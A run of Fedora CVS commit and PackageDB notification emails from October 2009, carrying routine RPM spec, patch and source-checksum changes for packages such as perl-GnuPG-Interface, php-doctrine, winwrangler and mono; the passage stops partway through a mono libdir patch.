From: eseyman at fedoraproject.org (Emmanuel Seyman)
Date: Sun,  4 Oct 2009 11:52:31 +0000 (UTC)
Subject: rpms/perl-GnuPG-Interface/devel perl-GnuPG-Interface.spec, 1.12,
	1.13
Message-ID: <20091004115231.0A08111C00E5@cvs1.fedora.phx.redhat.com>

Author: eseyman

Update of /cvs/pkgs/rpms/perl-GnuPG-Interface/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25645

Modified Files:
	perl-GnuPG-Interface.spec 
Log Message:
Disable tests because they need /dev/tty


Index: perl-GnuPG-Interface.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-GnuPG-Interface/devel/perl-GnuPG-Interface.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- perl-GnuPG-Interface.spec	2 Oct 2009 14:20:09 -0000	1.12
+++ perl-GnuPG-Interface.spec	4 Oct 2009 11:52:30 -0000	1.13
@@ -35,7 +35,8 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 %check
 chmod 0700 test
-make test
+# GnuPG-Interface needs to read from /dev/tty to run its tests.
+# make test
 
 %clean
 rm -rf $RPM_BUILD_ROOT



From eseyman at fedoraproject.org  Sun Oct  4 11:55:11 2009
From: eseyman at fedoraproject.org (Emmanuel Seyman)
Date: Sun,  4 Oct 2009 11:55:11 +0000 (UTC)
Subject: rpms/perl-GnuPG-Interface/devel perl-GnuPG-Interface.spec, 1.13,
	1.14
Message-ID: <20091004115511.646C911C00E5@cvs1.fedora.phx.redhat.com>

Author: eseyman

Update of /cvs/pkgs/rpms/perl-GnuPG-Interface/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26390

Modified Files:
	perl-GnuPG-Interface.spec 
Log Message:
Update the release tag


Index: perl-GnuPG-Interface.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-GnuPG-Interface/devel/perl-GnuPG-Interface.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- perl-GnuPG-Interface.spec	4 Oct 2009 11:52:30 -0000	1.13
+++ perl-GnuPG-Interface.spec	4 Oct 2009 11:55:11 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           perl-GnuPG-Interface
 Version:        0.42
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Perl interface to GnuPG
 Group:          Development/Libraries
 License:        GPLv2+ or Artistic
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 04 2009 Emmanuel Seyman <emmanuel.seyman at club-internet.fr> - 0.42-2
+- Disable tests because they need /dev/tty to run
+
 * Fri Oct 02 2009 Emmanuel Seyman <emmanuel.seyman at club-internet.fr> - 0.42-1
 - Update to 0.42
 - Fix rpmlint errors



From cdamian at fedoraproject.org  Sun Oct  4 11:58:09 2009
From: cdamian at fedoraproject.org (Christof Damian)
Date: Sun,  4 Oct 2009 11:58:09 +0000 (UTC)
Subject: rpms/php-doctrine-Doctrine/F-11 .cvsignore, 1.2,
	1.3 php-doctrine-Doctrine.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091004115809.5BABF11C00E5@cvs1.fedora.phx.redhat.com>

Author: cdamian

Update of /cvs/pkgs/rpms/php-doctrine-Doctrine/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27015

Modified Files:
	.cvsignore php-doctrine-Doctrine.spec sources 
Log Message:
upstream 1.1.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-doctrine-Doctrine/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2009 19:13:46 -0000	1.2
+++ .cvsignore	4 Oct 2009 11:58:09 -0000	1.3
@@ -1 +1 @@
-Doctrine-1.1.3.tgz
+Doctrine-1.1.4.tgz


Index: php-doctrine-Doctrine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-doctrine-Doctrine/F-11/php-doctrine-Doctrine.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- php-doctrine-Doctrine.spec	25 Sep 2009 19:13:46 -0000	1.1
+++ php-doctrine-Doctrine.spec	4 Oct 2009 11:58:09 -0000	1.2
@@ -2,8 +2,8 @@
 %global pear_name Doctrine
 
 Name:           php-doctrine-Doctrine
-Version:        1.1.3
-Release:        4%{?dist}
+Version:        1.1.4
+Release:        1%{?dist}
 Summary:        PHP Object Relational Mapper
 
 Group:          Development/Libraries
@@ -85,6 +85,9 @@ fi
 %{pear_phpdir}/%{pear_name}
 
 %changelog
+* Sun Oct 4 2009 Christof Damian <christof at damian.net> 1.1.4-1
+- upstream 1.1.4
+
 * Thu Sep 24 2009 Christof Damian <christof at damian.net> 1.1.3-4
 - fix provide
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-doctrine-Doctrine/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 19:13:46 -0000	1.2
+++ sources	4 Oct 2009 11:58:09 -0000	1.3
@@ -1 +1 @@
-cdd9ebb1e146514dac9dc36aaa2db5d7  Doctrine-1.1.3.tgz
+1832e9e655019689b2caa8296c73e58f  Doctrine-1.1.4.tgz



From pkgdb at fedoraproject.org  Sun Oct  4 13:49:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 13:49:48 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004134948.5AF8E10F871@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 13:49:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 13:49:50 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004134950.CB3B310F8A3@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 13:49:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 13:49:51 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004134952.0BD5A10F8A4@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 13:49:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 13:49:53 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004134953.574B210F8A8@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 13:49:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 13:49:55 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004134955.7D4F410F8AC@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From maxx at fedoraproject.org  Sun Oct  4 13:57:59 2009
From: maxx at fedoraproject.org (Mads Villadsen)
Date: Sun,  4 Oct 2009 13:57:59 +0000 (UTC)
Subject: rpms/winwrangler/devel winwrangler.desktop, NONE,
	1.1 winwrangler.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004135759.2687A11C00E5@cvs1.fedora.phx.redhat.com>

Author: maxx

Update of /cvs/pkgs/rpms/winwrangler/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23002

Modified Files:
	.cvsignore sources 
Added Files:
	winwrangler.desktop winwrangler.spec 
Log Message:
* Sun Oct  4 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.4-1
- Update to version 0.2.4 (adds spatial window switching)



--- NEW FILE winwrangler.desktop ---
[Desktop Entry]
Name=WinWrangler
GenericName=Window Layout Manager
Comment=Perform advanced window layout
Exec=winwrangler -t
Icon=winwrangler
Terminal=false
Type=Application
Categories=System;


--- NEW FILE winwrangler.spec ---
Name:           winwrangler
Version:        0.2.4
Release:        1%{?dist}
Summary:        Small desktop daemon to perform advanced window manipulations

Group:          System Environment/Daemons
License:        GPLv3
URL:            https://launchpad.net/winwrangler
Source0:        http://launchpad.net/winwrangler/0.2/%{version}/+download/%{name}-%{version}.tar.gz
Source1:        %{name}.desktop
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libgtkhotkey-devel >= 0.2.1, gettext, desktop-file-utils, intltool
BuildRequires:  libwnck-devel, gtk2-devel

%description
Small desktop daemon to perform advanced window manipulations

%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
%find_lang %{name}

desktop-file-install --dir=%{buildroot}%{_datadir}/applications %{SOURCE1}
#desktop-file-install --dir=%{buildroot}%{_sysconfdir}/xdg/autostart %{SOURCE1}

# Remove the docs installed by the package itself. Docs will be handled by the rpm %doc directive
rm -rf $RPM_BUILD_ROOT/%{_datadir}/doc/winwrangler

%clean
rm -rf $RPM_BUILD_ROOT

# ScriptletSnippet from Fedora Packaging on Icon Cache
%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING HACKING NEWS README
%{_bindir}/winwrangler
%{_datadir}/winwrangler
%{_datadir}/icons/hicolor/*/*/winwrangler.*
%{_datadir}/applications/%{name}.desktop
#%config %{_sysconfdir}/xdg/autostart/%{name}.desktop


%changelog
* Sun Oct  4 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.4-1
- Update to version 0.2.4 (adds spatial window switching)

* Fri Oct  2 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-4
- Updated BuildRequires

* Sun Sep 27 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-3
- Let rpm handle doc installation to get properly versioned doc dir

* Sat Sep 26 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-2
- Add intltool to BuildRequires

* Tue Sep 22 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-1
- Initial packaging



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/winwrangler/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:22:06 -0000	1.1
+++ .cvsignore	4 Oct 2009 13:57:58 -0000	1.2
@@ -0,0 +1 @@
+winwrangler-0.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/winwrangler/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:22:07 -0000	1.1
+++ sources	4 Oct 2009 13:57:58 -0000	1.2
@@ -0,0 +1 @@
+2fde578a7a734f6acd9a117c794c8b0b  winwrangler-0.2.4.tar.gz



From maxx at fedoraproject.org  Sun Oct  4 14:12:20 2009
From: maxx at fedoraproject.org (Mads Villadsen)
Date: Sun,  4 Oct 2009 14:12:20 +0000 (UTC)
Subject: rpms/winwrangler/F-11 winwrangler.desktop, NONE,
	1.1 winwrangler.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004141220.38FC211C00E5@cvs1.fedora.phx.redhat.com>

Author: maxx

Update of /cvs/pkgs/rpms/winwrangler/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26227

Modified Files:
	.cvsignore sources 
Added Files:
	winwrangler.desktop winwrangler.spec 
Log Message:
* Sun Oct  4 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.4-1
- Update to version 0.2.4 (adds spatial window switching)



--- NEW FILE winwrangler.desktop ---
[Desktop Entry]
Name=WinWrangler
GenericName=Window Layout Manager
Comment=Perform advanced window layout
Exec=winwrangler -t
Icon=winwrangler
Terminal=false
Type=Application
Categories=System;


--- NEW FILE winwrangler.spec ---
Name:           winwrangler
Version:        0.2.4
Release:        1%{?dist}
Summary:        Small desktop daemon to perform advanced window manipulations

Group:          System Environment/Daemons
License:        GPLv3
URL:            https://launchpad.net/winwrangler
Source0:        http://launchpad.net/winwrangler/0.2/%{version}/+download/%{name}-%{version}.tar.gz
Source1:        %{name}.desktop
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libgtkhotkey-devel >= 0.2.1, gettext, desktop-file-utils, intltool
BuildRequires:  libwnck-devel, gtk2-devel

%description
Small desktop daemon to perform advanced window manipulations

%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
%find_lang %{name}

desktop-file-install --dir=%{buildroot}%{_datadir}/applications %{SOURCE1}
#desktop-file-install --dir=%{buildroot}%{_sysconfdir}/xdg/autostart %{SOURCE1}

# Remove the docs installed by the package itself. Docs will be handled by the rpm %doc directive
rm -rf $RPM_BUILD_ROOT/%{_datadir}/doc/winwrangler

%clean
rm -rf $RPM_BUILD_ROOT

# ScriptletSnippet from Fedora Packaging on Icon Cache
%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING HACKING NEWS README
%{_bindir}/winwrangler
%{_datadir}/winwrangler
%{_datadir}/icons/hicolor/*/*/winwrangler.*
%{_datadir}/applications/%{name}.desktop
#%config %{_sysconfdir}/xdg/autostart/%{name}.desktop


%changelog
* Sun Oct  4 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.4-1
- Update to version 0.2.4 (adds spatial window switching)

* Fri Oct  2 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-4
- Updated BuildRequires

* Sun Sep 27 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-3
- Let rpm handle doc installation to get properly versioned doc dir

* Sat Sep 26 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-2
- Add intltool to BuildRequires

* Tue Sep 22 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-1
- Initial packaging



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/winwrangler/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:22:06 -0000	1.1
+++ .cvsignore	4 Oct 2009 14:12:19 -0000	1.2
@@ -0,0 +1 @@
+winwrangler-0.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/winwrangler/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:22:07 -0000	1.1
+++ sources	4 Oct 2009 14:12:19 -0000	1.2
@@ -0,0 +1 @@
+2fde578a7a734f6acd9a117c794c8b0b  winwrangler-0.2.4.tar.gz



From maxx at fedoraproject.org  Sun Oct  4 14:12:58 2009
From: maxx at fedoraproject.org (Mads Villadsen)
Date: Sun,  4 Oct 2009 14:12:58 +0000 (UTC)
Subject: rpms/winwrangler/F-12 winwrangler.desktop, NONE,
	1.1 winwrangler.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004141258.76A2E11C00E5@cvs1.fedora.phx.redhat.com>

Author: maxx

Update of /cvs/pkgs/rpms/winwrangler/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26362

Modified Files:
	.cvsignore sources 
Added Files:
	winwrangler.desktop winwrangler.spec 
Log Message:
* Sun Oct  4 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.4-1
- Update to version 0.2.4 (adds spatial window switching)



--- NEW FILE winwrangler.desktop ---
[Desktop Entry]
Name=WinWrangler
GenericName=Window Layout Manager
Comment=Perform advanced window layout
Exec=winwrangler -t
Icon=winwrangler
Terminal=false
Type=Application
Categories=System;


--- NEW FILE winwrangler.spec ---
Name:           winwrangler
Version:        0.2.4
Release:        1%{?dist}
Summary:        Small desktop daemon to perform advanced window manipulations

Group:          System Environment/Daemons
License:        GPLv3
URL:            https://launchpad.net/winwrangler
Source0:        http://launchpad.net/winwrangler/0.2/%{version}/+download/%{name}-%{version}.tar.gz
Source1:        %{name}.desktop
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libgtkhotkey-devel >= 0.2.1, gettext, desktop-file-utils, intltool
BuildRequires:  libwnck-devel, gtk2-devel

%description
Small desktop daemon to perform advanced window manipulations

%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
%find_lang %{name}

desktop-file-install --dir=%{buildroot}%{_datadir}/applications %{SOURCE1}
#desktop-file-install --dir=%{buildroot}%{_sysconfdir}/xdg/autostart %{SOURCE1}

# Remove the docs installed by the package itself. Docs will be handled by the rpm %doc directive
rm -rf $RPM_BUILD_ROOT/%{_datadir}/doc/winwrangler

%clean
rm -rf $RPM_BUILD_ROOT

# ScriptletSnippet from Fedora Packaging on Icon Cache
%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING HACKING NEWS README
%{_bindir}/winwrangler
%{_datadir}/winwrangler
%{_datadir}/icons/hicolor/*/*/winwrangler.*
%{_datadir}/applications/%{name}.desktop
#%config %{_sysconfdir}/xdg/autostart/%{name}.desktop


%changelog
* Sun Oct  4 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.4-1
- Update to version 0.2.4 (adds spatial window switching)

* Fri Oct  2 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-4
- Updated BuildRequires

* Sun Sep 27 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-3
- Let rpm handle doc installation to get properly versioned doc dir

* Sat Sep 26 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-2
- Add intltool to BuildRequires

* Tue Sep 22 2009 Mads Villadsen <maxx at krakoa.dk> - 0.2.3-1
- Initial packaging



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/winwrangler/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:22:06 -0000	1.1
+++ .cvsignore	4 Oct 2009 14:12:58 -0000	1.2
@@ -0,0 +1 @@
+winwrangler-0.2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/winwrangler/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:22:07 -0000	1.1
+++ sources	4 Oct 2009 14:12:58 -0000	1.2
@@ -0,0 +1 @@
+2fde578a7a734f6acd9a117c794c8b0b  winwrangler-0.2.4.tar.gz



From pkgdb at fedoraproject.org  Sun Oct  4 14:49:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 14:49:52 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004144953.5D8DE10F871@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora devel is now owned by rishi

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 14:49:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 14:49:54 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004144954.573C510F892@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 10 is now owned by rishi

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 14:50:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 14:50:00 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004145000.DEE8110F871@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 11 is now owned by rishi

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pkgdb at fedoraproject.org  Sun Oct  4 14:50:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 14:50:04 +0000
Subject: [pkgdb] python-libasyncns ownership updated
Message-ID: <20091004145005.19C6010F871@bastion2.fedora.phx.redhat.com>

Package python-libasyncns in Fedora 12 is now owned by rishi

To make changes to this package see:
  /pkgdb/packages/name/python-libasyncns



From pfj at fedoraproject.org  Sun Oct  4 15:17:22 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Sun,  4 Oct 2009 15:17:22 +0000 (UTC)
Subject: rpms/mono/devel import.log, 1.55,
	1.56 mono-2.6-metadata-makefile.patch, NONE,
	1.1 mono-26-libdir.patch, NONE, 1.1 .cvsignore, 1.44,
	1.45 mono.spec, 1.140, 1.141 sources, 1.57,
	1.58 mono-2.0-metadata-makefile.patch, 1.1,
	NONE mono-22-libdir.patch, 1.2,
	NONE mono-242-metadata-appconf.patch, 1.1, NONE
Message-ID: <20091004151722.7CE8011C00E5@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/mono/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8354/devel

Modified Files:
	.cvsignore mono.spec sources 
Added Files:
	import.log mono-2.6-metadata-makefile.patch 
	mono-26-libdir.patch 
Removed Files:
	mono-2.0-metadata-makefile.patch mono-22-libdir.patch 
	mono-242-metadata-appconf.patch 
Log Message:

Bump to latest and greatest preview
Various patch fixes
Massive number of bug fixes to mono 



Index: import.log
===================================================================
RCS file: import.log
diff -N import.log
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ import.log	4 Oct 2009 15:17:20 -0000	1.56
@@ -0,0 +1 @@
+mono-2_6-1_fc12:HEAD:mono-2.6-1.fc12.src.rpm:1254669381

mono-2.6-metadata-makefile.patch:
 Makefile-new.am |    4 ++--
 Makefile-new.in |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE mono-2.6-metadata-makefile.patch ---
--- mono-2.6/mono/metadata/Makefile.am	2009-09-25 15:58:10.000000000 +0100
+++ mono-2.6/mono/metadata/Makefile-new.am	2009-09-30 19:23:39.000000000 +0100
@@ -20,7 +20,7 @@
 AM_CFLAGS = -O
 else
 
-assembliesdir = $(exec_prefix)/lib
+assembliesdir = $(libdir)
 confdir = $(sysconfdir)
 unix_sources = \
 	console-unix.c
@@ -36,7 +36,7 @@
 #
 noinst_LTLIBRARIES = libmonoruntime.la libmonoruntime-static.la
 
-INCLUDES = -I$(top_srcdir) -I$(top_srcdir)/mono $(LIBGC_CFLAGS) $(GLIB_CFLAGS) -DMONO_BINDIR=\"$(bindir)/\" -DMONO_ASSEMBLIES=\"$(assembliesdir)\" -DMONO_CFG_DIR=\"$(confdir)\"
+INCLUDES = -I$(top_srcdir) -I$(top_srcdir)/mono $(LIBGC_CFLAGS) $(GLIB_CFLAGS) -DMONO_BINDIR=\"$(bindir)/\" -DMONO_ASSEMBLIES=\"$(assembliesdir)\" -DMONO_CFG_DIR=\"$(confdir)\" -DMONO_RELOC_LIBDIR=\"$(reloc_libdir)\"
 
 #
 # Make sure any prefix changes are updated in the binaries too.
--- mono-2.6/mono/metadata/Makefile.in	2009-09-30 17:34:17.000000000 +0100
+++ mono-2.6/mono/metadata/Makefile-new.in	2009-09-30 19:27:02.000000000 +0100
@@ -372,7 +372,7 @@
 # The files that use MONO_ASSEMBLIES and/or MONO_CFG_DIR replace the
 # / by \ if running under WIN32.
 @CROSS_COMPILING_TRUE@@PLATFORM_WIN32_TRUE at assembliesdir = ${libdir}
- at PLATFORM_WIN32_FALSE@assembliesdir = $(exec_prefix)/lib
+ at PLATFORM_WIN32_FALSE@assembliesdir = $(libdir)
 @CROSS_COMPILING_FALSE@@PLATFORM_WIN32_TRUE at confdir = `cygpath -m "${sysconfdir}"`
 @CROSS_COMPILING_TRUE@@PLATFORM_WIN32_TRUE at confdir = ${sysconfdir}
 @PLATFORM_WIN32_FALSE at confdir = $(sysconfdir)
@@ -388,7 +388,7 @@
 # convenience lib, so we have to do it ourselves
 #
 noinst_LTLIBRARIES = libmonoruntime.la libmonoruntime-static.la
-INCLUDES = -I$(top_srcdir) -I$(top_srcdir)/mono $(LIBGC_CFLAGS) $(GLIB_CFLAGS) -DMONO_BINDIR=\"$(bindir)/\" -DMONO_ASSEMBLIES=\"$(assembliesdir)\" -DMONO_CFG_DIR=\"$(confdir)\"
+INCLUDES = -I$(top_srcdir) -I$(top_srcdir)/mono $(LIBGC_CFLAGS) $(GLIB_CFLAGS) -DMONO_BINDIR=\"$(bindir)/\" -DMONO_ASSEMBLIES=\"$(assembliesdir)\" -DMONO_CFG_DIR=\"$(confdir)\" -DMONO_RELOC_LIBDIR=\"$(reloc_libdir)\"
 CLEANFILES = mono-bundle.stamp
 libmonoruntime_static_la_LIBADD = $(bundle_obj) $(libmonoruntime_la_LIBADD)
 null_sources = \

mono-26-libdir.patch:
 mono-1.2.6/configure-new.in                  |    4 ++--
 mono-1.2.6/mcs/build/config-default-new.make |    2 +-
 mono-2.2/data/cecil.pc-new.in                |    2 +-
 mono-2.2/data/mint.pc-new.in                 |    2 +-
 mono-2.2/data/mono-lineeditor.pc-new.in      |    2 +-
 mono-2.2/data/mono-nunit.pc-new.in           |    2 +-
 mono-2.2/data/mono-options.pc-new.in         |    2 +-
 mono-2.2/data/mono.pc-new.in                 |    2 +-
 mono-2.2/data/monodoc.pc-new.in              |    4 ++--
 mono-2.2/scripts/Makefile-new.am             |    2 +-
 mono-2.4/data/mono-cairo.pc-new.in           |    4 ++--
 11 files changed, 14 insertions(+), 14 deletions(-)

--- NEW FILE mono-26-libdir.patch ---
--- mono-1.2.6/mcs/build/config-default.make	2007-11-08 22:08:59.000000000 +0000
+++ mono-1.2.6/mcs/build/config-default-new.make	2007-12-14 22:25:20.000000000 +0000
@@ -17,7 +17,7 @@
 CFLAGS = -g -O2
 prefix = /usr/local
 exec_prefix = $(prefix)
-mono_libdir = $(exec_prefix)/lib
+mono_libdir = $(libdir)
 sysconfdir = $(prefix)/etc
 #RUNTIME = mono
 RUNTIME = false
--- mono-1.2.6/configure.in	2007-11-08 22:07:57.000000000 +0000
+++ mono-1.2.6/configure-new.in	2007-12-14 22:56:17.000000000 +0000
@@ -2182,7 +2182,7 @@
     echo "prefix=$prefix" > $srcdir/$mcsdir/build/config.make
     echo "exec_prefix=$exec_prefix" >> $srcdir/$mcsdir/build/config.make
     echo "sysconfdir=$sysconfdir" >> $srcdir/$mcsdir/build/config.make
-    echo 'mono_libdir=${exec_prefix}/lib' >> $srcdir/$mcsdir/build/config.make
+    echo 'mono_libdir=@libdir@' >> $srcdir/$mcsdir/build/config.make
     echo 'MCS_FLAGS = $(PLATFORM_DEBUG_FLAGS)' >> $srcdir/$mcsdir/build/config.make
     echo 'IL_FLAGS = /debug' >> $srcdir/$mcsdir/build/config.make
     echo "RUNTIME = $mono_build_root/runtime/mono-wrapper" >> $srcdir/$mcsdir/build/config.make
@@ -2215,7 +2215,7 @@
     if test x$cross_compiling = xno && test x$enable_olive_build != xno; then
       echo "prefix=$prefix" > $srcdir/$olivedir/build/config.make
       echo "exec_prefix=$exec_prefix" >> $srcdir/$olivedir/build/config.make
-      echo 'mono_libdir=${exec_prefix}/lib' >> $srcdir/$olivedir/build/config.make
+      echo 'mono_libdir=@libdir@' >> $srcdir/$olivedir/build/config.make
       echo 'MCS_FLAGS = $(PLATFORM_DEBUG_FLAGS)' >> $srcdir/$olivedir/build/config.make
       echo "RUNTIME = $mono_build_root/runtime/mono-wrapper" >> $srcdir/$olivedir/build/config.make
       echo "MONO_VERSION = $myver" >> $srcdir/$olivedir/build/config.make
--- mono-2.2/data/cecil.pc.in	2008-11-18 21:10:32.000000000 +0000
+++ mono-2.2/data/cecil.pc-new.in	2008-11-18 21:12:20.000000000 +0000
@@ -1,4 +1,4 @@
-assemblies_dir=@prefix@/lib/mono
+assemblies_dir=@libdir@/mono
 Libraries=${assemblies_dir}/gac/Mono.Cecil/0.6.9.0__0738eb9f132ed756/Mono.Cecil.dll
 
 Name: Mono Internal -- Do not use.
--- mono-2.2/data/mint.pc.in	2008-11-18 21:10:32.000000000 +0000
